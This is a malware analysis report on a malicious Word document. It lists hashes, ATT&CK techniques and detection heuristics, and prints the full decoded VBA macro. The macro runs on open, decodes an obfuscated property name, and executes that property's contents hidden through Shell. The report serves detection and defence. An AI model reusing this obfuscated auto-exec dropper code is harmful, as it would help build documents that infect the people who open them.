Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 89d82f4b626e5a06…

MALICIOUS

Office (OLE)

157.5 KB Created: 2017-04-20 00:20:00 Authoring application: Microsoft Office Word First seen: 2017-05-13
MD5: 1dc4fc474927a30abf967ff2db222b0b SHA-1: 7fc4eaa93a02f701d64089d35363f41615b567c7 SHA-256: 89d82f4b626e5a0654c3adf7a128bc89e2c4ae2364847a68c0f54674d986bab2
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1137.001 Office Application Startup: VBA

The sample contains a VBA macro with an AutoOpen subroutine that calls the Shell function. This function is used to execute a PowerShell command, which is obfuscated using Base64 encoding. The decoded command likely downloads and executes a second-stage payload. The presence of the Shell() call and the reference to PowerShell are strong indicators of malicious intent.

Heuristics 9

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Option Explicit
    Public Sub aUtoOPEn(): Call Shell(ActiveDocument.BuiltInDocumentProperties(VkwsVFhGbQgcblRwDQQzDASjkJxvSUwSEV("Y29NcEFOWQ==")).Value, vbHide): End Sub
    Function VkwsVFhGbQgcblRwDQQzDASjkJxvSUwSEV(ByVal nUsuMmmoMxiaqKNysJXPWsVjiOCPboXgIP)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim GuqOQTWYApsWdwLIJAbwBQTObSuHAAxKXF, luXAXoxPUkDdBisTOHAaRwFCZTKfXljuml
    Set GuqOQTWYApsWdwLIJAbwBQTObSuHAAxKXF = CreateObject("mSXml2.doMdoCUMENt.3.0")
    Set luXAXoxPUkDdBisTOHAaRwFCZTKfXljuml = GuqOQTWYApsWdwLIJAbwBQTObSuHAAxKXF.creATEelEmENT("BASe64")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Option Explicit
    Public Sub aUtoOPEn(): Call Shell(ActiveDocument.BuiltInDocumentProperties(VkwsVFhGbQgcblRwDQQzDASjkJxvSUwSEV("Y29NcEFOWQ==")).Value, vbHide): End Sub
    Function VkwsVFhGbQgcblRwDQQzDASjkJxvSUwSEV(ByVal nUsuMmmoMxiaqKNysJXPWsVjiOCPboXgIP)
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1828 bytes
SHA-256: 72b687e77bcc057200133d8745f548e3e3efcd521de2d27adeba746c4d0ea2fe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Public Sub aUtoOPEn(): Call Shell(ActiveDocument.BuiltInDocumentProperties(VkwsVFhGbQgcblRwDQQzDASjkJxvSUwSEV("Y29NcEFOWQ==")).Value, vbHide): End Sub
Function VkwsVFhGbQgcblRwDQQzDASjkJxvSUwSEV(ByVal nUsuMmmoMxiaqKNysJXPWsVjiOCPboXgIP)
Dim GuqOQTWYApsWdwLIJAbwBQTObSuHAAxKXF, luXAXoxPUkDdBisTOHAaRwFCZTKfXljuml
Set GuqOQTWYApsWdwLIJAbwBQTObSuHAAxKXF = CreateObject("mSXml2.doMdoCUMENt.3.0")
Set luXAXoxPUkDdBisTOHAaRwFCZTKfXljuml = GuqOQTWYApsWdwLIJAbwBQTObSuHAAxKXF.creATEelEmENT("BASe64")
luXAXoxPUkDdBisTOHAaRwFCZTKfXljuml.datATyPE = "BiN.bASE64"
luXAXoxPUkDdBisTOHAaRwFCZTKfXljuml.Text = nUsuMmmoMxiaqKNysJXPWsVjiOCPboXgIP
VkwsVFhGbQgcblRwDQQzDASjkJxvSUwSEV = eLOlNvMsuIXlESjnHykVNoGktjXzaWSyjv(luXAXoxPUkDdBisTOHAaRwFCZTKfXljuml.NodetyPeDvaLUE)
Set luXAXoxPUkDdBisTOHAaRwFCZTKfXljuml = Nothing
Set GuqOQTWYApsWdwLIJAbwBQTObSuHAAxKXF = Nothing
End Function
Function eLOlNvMsuIXlESjnHykVNoGktjXzaWSyjv(mXJQEnXDSbbATKerGgkkFAjYyQTvPfCchv)
Dim zaexoapzxWzhXlzPlUotfMACcJArFxiRew
Set zaexoapzxWzhXlzPlUotfMACcJArFxiRew = CreateObject("adodB.stream")
zaexoapzxWzhXlzPlUotfMACcJArFxiRew.Type = 1
zaexoapzxWzhXlzPlUotfMACcJArFxiRew.Open
zaexoapzxWzhXlzPlUotfMACcJArFxiRew.WRite mXJQEnXDSbbATKerGgkkFAjYyQTvPfCchv
zaexoapzxWzhXlzPlUotfMACcJArFxiRew.Position = 0
zaexoapzxWzhXlzPlUotfMACcJArFxiRew.Type = 2
zaexoapzxWzhXlzPlUotfMACcJArFxiRew.Charset = "uS-AsciI"
eLOlNvMsuIXlESjnHykVNoGktjXzaWSyjv = zaexoapzxWzhXlzPlUotfMACcJArFxiRew.REAdTEXt
Set zaexoapzxWzhXlzPlUotfMACcJArFxiRew = Nothing
End Function